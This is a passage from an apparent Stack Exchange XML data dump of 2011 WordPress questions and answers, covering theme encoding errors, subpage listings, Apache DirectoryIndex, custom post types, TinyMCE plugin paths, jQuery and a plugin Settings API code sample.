);&#xA;}&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve the problem?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;SOLUTION&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found the solution in another question &lt;a href=&quot;http://stackoverflow.com/questions/1067742/clean-source-code-files-of-invisible-characters&quot;&gt;Clean source code files of invisible characters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the enconding of the file with Convert to &lt;em&gt;UTF-8 without BOM&lt;/em&gt; in Notepad++ and the issue dissapeared.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-19T22:29:21.847" ClosedDate="2011-07-19T22:50:02.493" Title="Headers already sent while creating a Wordpress Theme" Tags="&lt;untagged&gt;" CommentCount="1" />
  <row Id="23492" PostTypeId="1" CreationDate="2011-07-19T22:40:50.087" Score="0" ViewCount="22" Body="&lt;p&gt;I'm currently using &lt;a href=&quot;http://wordpress.org/extend/plugins/xavins-list-subpages/&quot; rel=&quot;nofollow&quot;&gt;Xavin's List Subpages&lt;/a&gt;, where I simply have to put a shortcode ([xls]) to display an unordered list of subpages. This list is based off of the page structure though - I want it to be based off the MENU structure. Is there a plugin that will do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps I can easily modify Xavin's plugin - I haven't really looked into that though.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-20T12:16:36.720" Title="Plugin to List Subpages (Based on MENU)" Tags="&lt;plugin-recommendation&gt;" AnswerCount="0" />
  <row Id="23493" PostTypeId="2" ParentId="23459" CreationDate="2011-07-19T22:58:04.937" Score="1" ViewCount="" Body="&lt;p&gt;You may create a simple HTML-page for displaying the logo and set this file as the default directory index. So if a user requests the domain without specifying an actual target on the server (something like /index.php) the logo-file is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To specify a page as default-index, you can use &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_dir.html#directoryindex&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;DirectoryIndex&lt;/code&gt;-directive for the Apache server&lt;/a&gt; in an .htaccess-file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirectoryIndex logo.htm index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would load the logo.htm (if present, otherwise load the index.php) if you call the page via the domain only.&lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2011-07-19T22:58:04.937" CommentCount="1" />
  <row Id="23494" PostTypeId="2" ParentId="23459" CreationDate="2011-07-19T23:13:09.793" Score="3" ViewCount="" Body="&lt;p&gt;Just tell him that doing so is bad for SEO and no one has done this since 1998.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-19T23:13:09.793" CommentCount="1" />
  <row Id="23495" PostTypeId="2" ParentId="23484" CreationDate="2011-07-19T23:20:01.340" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;foreach( $wpdb-&amp;gt;get_results(&quot;SELECT * FROM your_table_name WHERE id LIKE' . $id . ';&quot;) as $key =&amp;gt; $row) {&#xA;// each column in your row will be accessible like this&#xA;$my_column = $row-&amp;gt;column_name;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info &lt;a href=&quot;http://www.wpmods.com/working-with-database-tables-plugins-part-2/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-19T23:20:01.340" CommentCount="1" />
  <row Id="23496" PostTypeId="2" ParentId="23387" CreationDate="2011-07-19T23:32:35.620" Score="3" ViewCount="" Body="&lt;p&gt;Mappress allows for custom markers, but you need to pay for the pro version.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/mappress-google-maps-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/mappress-google-maps-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Map Shortcode also supports custom markers in a shortcode&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-map-shortcode/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-map-shortcode/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting custom overlays on Google maps is actually pretty easy, you can read the docs here if you choose to work directly with the API, &lt;a href=&quot;http://code.google.com/apis/maps/documentation/javascript/overlays.html&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/apis/maps/documentation/javascript/overlays.html&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of options here: &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/google-map&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tags/google-map&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-19T23:32:35.620" CommentCount="1" />
  <row Id="23497" PostTypeId="1" AcceptedAnswerId="23555" CreationDate="2011-07-19T23:45:38.427" Score="0" ViewCount="52" Body="&lt;p&gt;I have a client that has a current WordPress installation in their website root, and they are creating a new WordPress site which is in a subdirectory during development. My question is, what do I do when they are ready to go live and replace their current WordPress install with the new dev version? Can they just point their main URL to the subdirectory instead of having to move the entire dev site into the root of their website? Will this work with WordPress?&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2011-07-20T13:27:32.280" Title="Can I setup WordPress in a subdirectory and then point my URL to the subdirectory when I'm ready to go live?" Tags="&lt;migration&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23498" PostTypeId="2" ParentId="23464" CreationDate="2011-07-19T23:58:05.687" Score="1" ViewCount="" Body="&lt;p&gt;This is complex and considering the sensitive nature of the application and the usage &quot;doctor alerts&quot; I would really consider not using a blog platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of systems out there that support secure sms with options for media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must for some reason use WordPress, to authenticate users have a look at some of the HTTP authentication plugins, OAuth, XML-RPC, or just regular logins with cookie support and a mobile friendly theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. You cannot get a mobile number unless the user gives it to you.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-20T04:58:24.497" LastActivityDate="2011-07-20T04:58:24.497" />
  <row Id="23499" PostTypeId="1" CreationDate="2011-07-20T00:07:26.513" Score="0" ViewCount="24" Body="&lt;p&gt;I have several custom post type that share a taxonomy (it's &quot;categories&quot; actually.) So now, when a user goes to an archive custom post page, they see a sidebar of categories to further filter their results. I'm wondering how to do that and keep the same navigation structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/ctp-name-1/category/shared-category-name&#xA;example.com/ctp-name-2/category/shared-category-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7160" LastActivityDate="2011-07-20T00:07:26.513" Title="Filter Custom Post Type by Category" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;filters&gt;" />
  <row Id="23500" PostTypeId="1" CreationDate="2011-07-20T00:23:10.677" Score="0" ViewCount="38" Body="&lt;p&gt;I am making a Wordpress plugin that adds a button to the TinyMCE editor for quick, user-friendly insertion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has created a bunch of extra files, including the &lt;strong&gt;.html&lt;/strong&gt; file that contains the popup you receive when clicking on my button. I would preferably keep all the files I create in my plugin folder, but there's a little issue with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;.html&lt;/strong&gt; file I mentioned needs a reference to a TinyMCE script, it's now coded as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; &#xA;        src=&quot;http://domain.com/wp-includes/js/tinymce/tiny_mce_popup.js&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I find the location of this file dynamically?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the examples they always put the files in the plugin directory of &lt;code&gt;tiny_mce&lt;/code&gt;, and then access it as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;script type=&quot;text/javascript&quot; &#xA;            src=&quot;../../tiny_mce_popup.js&quot;&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't do this since my files are in a plugin folder or god knows where. &lt;/p&gt;&#xA;" OwnerUserId="3807" LastEditorUserId="6691" LastEditorDisplayName="" LastEditDate="2011-07-20T21:55:25.410" LastActivityDate="2011-07-20T21:55:25.410" Title="Where to put TinyMCE Wordpress plugin files" Tags="&lt;plugin-development&gt;&lt;javascript&gt;&lt;plugin-tinymce&gt;" AnswerCount="0" />
  <row Id="23502" PostTypeId="1" AcceptedAnswerId="24474" CreationDate="2011-07-20T01:23:21.413" Score="0" ViewCount="38" Body="&lt;p&gt;I've created a custom post type that displays the individual entries collectively on a page. However, I've found that Google is not only indexing the page, but the individual posts as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want the page to be indexed and followed, and not the posts. Is there any way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2011-07-30T02:17:56.573" Title="How to noindex nofollow custom post type?" Tags="&lt;custom-post-types&gt;&lt;nofollow&gt;&lt;noindex&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="23503" PostTypeId="1" CreationDate="2011-07-20T03:35:52.497" Score="0" ViewCount="26" Body="&lt;p&gt;I'm wanting to find a way to have all pages listed without paging and to do so in a method that isn't going to be over-written when I update wordpress, i.e. in the form of a hook or action or something to that tune&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all the pages being listed I can then use javascript to do collapsing to show/hide subpages, I'm not phased about load times of the page or anything, just cant have this method usable if paging is also used, all pages need to be listed on 1 page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not even sure if this is do-able without breaking when updating&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Mark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Sorry I seemed to have completely forgotten to mention the main part of this, I'm wanting to do this in the admin area, thats why im unsure if I'll be breaking future updates&lt;/p&gt;&#xA;" OwnerUserId="1599" LastEditorUserId="1599" LastEditorDisplayName="" LastEditDate="2011-07-21T04:04:01.123" LastActivityDate="2011-08-21T12:32:59.073" Title="List ALL pages on &quot;All Pages&quot; list" Tags="&lt;wp-admin&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="23504" PostTypeId="2" ParentId="23503" CreationDate="2011-07-20T03:41:40.440" Score="0" ViewCount="" Body="&lt;p&gt;You can &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;create a new page template&lt;/a&gt;, and in that template put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_pages( 'depth=-1' ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will list all the pages with no indentation in alphabetical order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;wp_list_pages&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-20T03:41:40.440" CommentCount="2" />
  <row Id="23505" PostTypeId="2" ParentId="23477" CreationDate="2011-07-20T03:45:20.097" Score="0" ViewCount="" Body="&lt;p&gt;You can create a &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;new page template&lt;/a&gt;, and in that template put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_get_archives('type=postbypost'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will list every one of your posts by post date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;wp_get_archives&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-20T03:45:20.097" />
  <row Id="23506" PostTypeId="1" AcceptedAnswerId="23511" CreationDate="2011-07-20T03:59:02.507" Score="-1" ViewCount="64" Body="&lt;p&gt;THIS WORKS: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    function fadeReview() {&#xA;      jQuery(&quot;.reviewPanel     .reviewPanel2:hidden:first&quot;).fadeIn(500).delay(3000).fadeOut(500, function() {&#xA;    jQuery(this).appendTo(jQuery(this).parent());&#xA;    fadeReview();&#xA;    });&#xA;    }&#xA;    fadeReview();&#xA; &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BUT, THIS DOES NOT WORK:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;function fadeReview() {&#xA;  jQuery(&quot;.reviewPanel .reviewPanel2:hidden:first&quot;).fadeIn(500).delay(3000).fadeOut(500, function() {&#xA;jQuery(this).appendTo(jQuery(this).parent());&#xA;fadeReview();&#xA;});&#xA;}&#xA;fadeReview();&#xA;&#xA;function fadeReviewName() {&#xA;  jQuery(&quot;.reviewName .reviewName2:hidden:first&quot;).fadeIn(500).delay(3000).fadeOut(500, function() {&#xA;    jQuery(this).appendTo(jQuery(this).parent());&#xA;    fadeReviewName();&#xA;  });&#xA;}&#xA;fadeReviewName();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does it have to do with running two functions?  It works ok in this &lt;A HREF=&quot;http://jsfiddle.net/carsonmehl/VxhY6/1/&quot; rel=&quot;nofollow&quot;&gt;fiddle&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="2107" LastEditorDisplayName="" LastEditDate="2011-07-20T17:18:50.057" LastActivityDate="2011-07-20T17:18:50.057" Title="Why won't this jQuery work in WordPress?" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="23507" PostTypeId="1" CreationDate="2011-07-20T04:00:22.430" Score="0" ViewCount="32" Body="&lt;p&gt;I'd like to make the main menu selection for some menu items not selectable. For example, I'm doing a resume and I have a &quot;Work History&quot; page with &quot;Job 1&quot;, &quot;Job 2&quot;, etc. as children. I'd like to be able to select the children but not the &quot;Work History&quot;. Is there a clean (or for that matter dirty) way to do this?&lt;/p&gt;&#xA;" OwnerUserId="7163" LastActivityDate="2011-08-19T19:32:24.967" Title="Twenty Ten Theme Menu Question" Tags="&lt;themes&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="23508" PostTypeId="1" CreationDate="2011-07-20T04:10:09.407" Score="0" ViewCount="29" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/portfolio-slideshow/&quot; rel=&quot;nofollow&quot;&gt;portfolio slideshow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that each image is wrapped with div and that div is given a inline style with height and width and other styles like opacity z-index etc. These divs are given height and width according to the image size. But I could not know how these are done. The problem I am having is that the content is collapsed behind the images because sometime these divs are given height of 38 automatically. Can anyone suggest me the solutions for this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-08-21T04:32:52.247" Title="The content of the page is collapsed behind the image in portfolio slideshow" Tags="&lt;plugins&gt;&lt;images&gt;&lt;content&gt;&lt;slideshow&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23509" PostTypeId="1" AcceptedAnswerId="23544" CreationDate="2011-07-20T04:10:13.020" Score="1" ViewCount="63" Body="&lt;p&gt;I'm having a devil of a time getting my plugin settings to save.  I've gone through the code so many times I have to think I've simply missed something.  I'm following the Setting API, but any changes I make on the plugin settings page don't save.  What did I miss?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct() {&#xA;self::$instance = $this;&#xA;&#xA;//  Add &quot;Settings&quot; link to plugin page&#xA;add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ) , array( $this, 'settings_link' ) );&#xA;&#xA;// Creates the CEMB Seminar submenu&#xA;add_action( 'admin_menu', array( $this, 'add_menu' ) );&#xA;&#xA;// Register and define the settings&#xA;add_action( 'admin_init', array( $this, 'settings_init' ) );&#xA;&#xA;} // End of __construct()&#xA;&#xA;&#xA;/***** Menus *****/&#xA;&#xA;//  Add &quot;Settings&quot; link to plugin page&#xA;function settings_link( $links ) {&#xA;    $settings_link = sprintf( '&amp;lt;a href=&quot;%s&quot;&amp;gt;%s&amp;lt;/a&amp;gt;', admin_url( 'options-general.php?page=cemb-seminar' ), __( 'Settings' ) );&#xA;    array_unshift( $links, $settings_link );&#xA;    return $links;&#xA;}&#xA;&#xA;// Creates the CEMB Seminar submenu&#xA;function add_menu() {&#xA;    add_submenu_page( &#xA;        'edit.php?post_type=cemb_seminar', &#xA;        __( 'Course Requirements' ), &#xA;        __( 'Course Requirements' ), &#xA;        'manage_options', &#xA;        'cemb-seminar', &#xA;        array( $this, 'settings_page' )&#xA;    );&#xA;}&#xA;&#xA;/***** Course Requirement Settings *****/&#xA;&#xA;/* Creates new database fields */&#xA;function settings_init() {&#xA;    $options = array(&#xA;        'cemb_seminar_seminars_college' =&amp;gt; '0',&#xA;        'cemb_seminar_showcases_college' =&amp;gt; '0',&#xA;        'cemb_seminar_writers_college' &amp;gt; '0',&#xA;        'cemb_seminar_aet_college' =&amp;gt; '0',&#xA;        'cemb_seminar_mbu_college' =&amp;gt; '0',&#xA;        'cemb_seminar_eis_college' =&amp;gt; '0',&#xA;        'cemb_seminar_sng_college' =&amp;gt; '0',&#xA;    );&#xA;    update_option( 'cemb_seminar_options', $options );&#xA;&#xA;&#xA;    register_setting( &#xA;        'cemb_seminar_options', &#xA;        'cemb_seminar_options' &#xA;    );&#xA;    add_settings_section( &#xA;        'cemb_seminar_reqs_college', &#xA;        'Course Requirements', &#xA;        array( $this, 'reqs_college_fn' ), &#xA;        'cemb-seminar'&#xA;    );&#xA;    add_settings_field( &#xA;        'cemb_seminar_seminars_college_field', &#xA;        'Seminars', &#xA;        array( $this, 'seminars_college_fn' ), &#xA;        'cemb-seminar', &#xA;        'cemb_seminar_reqs_college' &#xA;    );&#xA;    add_settings_field( &#xA;        'cemb_seminar_showcases_college_field', &#xA;        'Showcases', &#xA;        array( $this, 'showcases_college_fn' ), &#xA;        'cemb-seminar', &#xA;        'cemb_seminar_reqs_college' &#xA;    );&#xA;    add_settings_field( &#xA;        'cemb_seminar_writers_college_field', &#xA;        'Writer\'s Nights', &#xA;        array( $this, 'writers_college_fn' ), &#xA;        'cemb-seminar', &#xA;        'cemb_seminar_reqs_college' &#xA;    );&#xA;    add_settings_field( &#xA;        'cemb_seminar_aet_college_field', &#xA;        'AET Seminars', &#xA;        array( $this, 'aet_college_fn' ), &#xA;        'cemb-seminar', &#xA;        'cemb_seminar_reqs_college' &#xA;    );&#xA;    add_settings_field( &#xA;        'cemb_seminar_mbu_college_field', &#xA;        'MBU Seminars', &#xA;        array( $this, 'mbu_college_fn' ), &#xA;        'cemb-seminar', &#xA;        'cemb_seminar_reqs_college' &#xA;    );&#xA;    add_settings_field( &#xA;        'cemb_seminar_eis_college_field', &#xA;        'EIS Seminars', &#xA;        array( $this, 'eis_college_fn' ), &#xA;        'cemb-seminar', &#xA;        'cemb_seminar_reqs_college' &#xA;    );&#xA;    add_settings_field( &#xA;        'cemb_seminar_sng_college_field', &#xA;        'SNG Seminars', &#xA;        array( $this, 'sng_college_fn' ), &#xA;        'cemb-seminar', &#xA;        'cemb_seminar_reqs_college' &#xA;    );&#xA;&#xA;} // End of settings_init()&#xA;&#xA;// Add note about the course requirements settings&#xA;function reqs_college_fn() {&#xA;    echo '&amp;lt;p&amp;gt;The course requirement options below will apply to all students for all majors.&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;// Checks for the selected value in the drop menus&#xA;function course_req_selected( $selected, $option ) {&#xA;&#xA;    // Get options first&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;&#xA;    // Check if the option matches the input&#xA;    if ( $options['$option'] == $selected ) {&#xA;        echo ' selected=&quot;selected&quot;';&#xA;    }   &#xA;} // End of course_req_selected()&#xA;&#xA;// Add college-wide Seminars requirements Field&#xA;function seminars_college_fn() {&#xA;&#xA;    // Get options from database&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;    $option = $options['cemb_seminar_seminars_college'];&#xA;&#xA;    // Build the select form ?&amp;gt;&#xA;    &amp;lt;select id=&quot;cemb_seminar_seminars_college&quot; class=&quot;cemb_seminar_settings_field&quot; name=&quot;cemb_seminar_options[cemb_seminar_seminars_college]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot; &amp;lt;?php if ( $option == '0' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ( $option == '1' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ( $option == '2' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ( $option == '3' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot; &amp;lt;?php if ( $option == '4' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; &amp;lt;?php if ( $option == '5' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of seminars_college_fn()&#xA;&#xA;// Add college-wide Showcases requirements Field&#xA;function showcases_college_fn() {&#xA;&#xA;    // Get options from database&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;    $option = $options['cemb_seminar_showcases_college'];&#xA;&#xA;    // Build the select form ?&amp;gt;&#xA;    &amp;lt;select id=&quot;cemb_seminar_showcases_college&quot; class=&quot;cemb_seminar_settings_field&quot; name=&quot;cemb_seminar_options[cemb_seminar_showcases_college]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot; &amp;lt;?php if ( $option == '0' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ( $option == '1' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ( $option == '2' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ( $option == '3' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot; &amp;lt;?php if ( $option == '4' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; &amp;lt;?php if ( $option == '5' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of showcases_college_fn()&#xA;&#xA;// Add college-wide Writer's Night requirements field&#xA;function writers_college_fn() {&#xA;&#xA;    // Get options from database&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;    $option = $options['cemb_seminar_writers_college'];&#xA;&#xA;    // Build the select form */?&amp;gt;&#xA;    &amp;lt;select id=&quot;cemb_seminar_writers_college&quot; class=&quot;cemb_seminar_settings_field&quot; name=&quot;cemb_seminar_options[cemb_seminar_writers_college]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot; &amp;lt;?php if ( $option == '0' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ( $option == '1' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ( $option == '2' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ( $option == '3' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot; &amp;lt;?php if ( $option == '4' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; &amp;lt;?php if ( $option == '5' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of writers_college_fn()&#xA;&#xA;// Add college-wide AET Seminars requirements field&#xA;function aet_college_fn() {&#xA;&#xA;    // Get options from database&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;    $option = $options['cemb_seminar_aet_college'];&#xA;&#xA;    // Build the select form ?&amp;gt;&#xA;    &amp;lt;select id=&quot;cemb_seminar_aet_college&quot; class=&quot;cemb_seminar_settings_field&quot; name=&quot;cemb_seminar_options[cemb_seminar_aet_college]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot; &amp;lt;?php if ( $option == '0' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ( $option == '1' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ( $option == '2' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ( $option == '3' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot; &amp;lt;?php if ( $option == '4' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; &amp;lt;?php if ( $option == '5' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of aet_college_fn()&#xA;&#xA;// Add college-wide MBU Seminars requirements field&#xA;function mbu_college_fn() {&#xA;&#xA;    // Get options from database&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;    $option = $options['cemb_seminar_mbu_college'];&#xA;&#xA;    // Build the select form ?&amp;gt;&#xA;    &amp;lt;select id=&quot;cemb_seminar_mbu_college&quot; class=&quot;cemb_seminar_settings_field&quot; name=&quot;cemb_seminar_options[cemb_seminar_mbu_college]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot; &amp;lt;?php if ( $option == '0' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ( $option == '1' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ( $option == '2' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ( $option == '3' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot; &amp;lt;?php if ( $option == '4' ) { echo 'selected=&quot;selected&quot;'; } 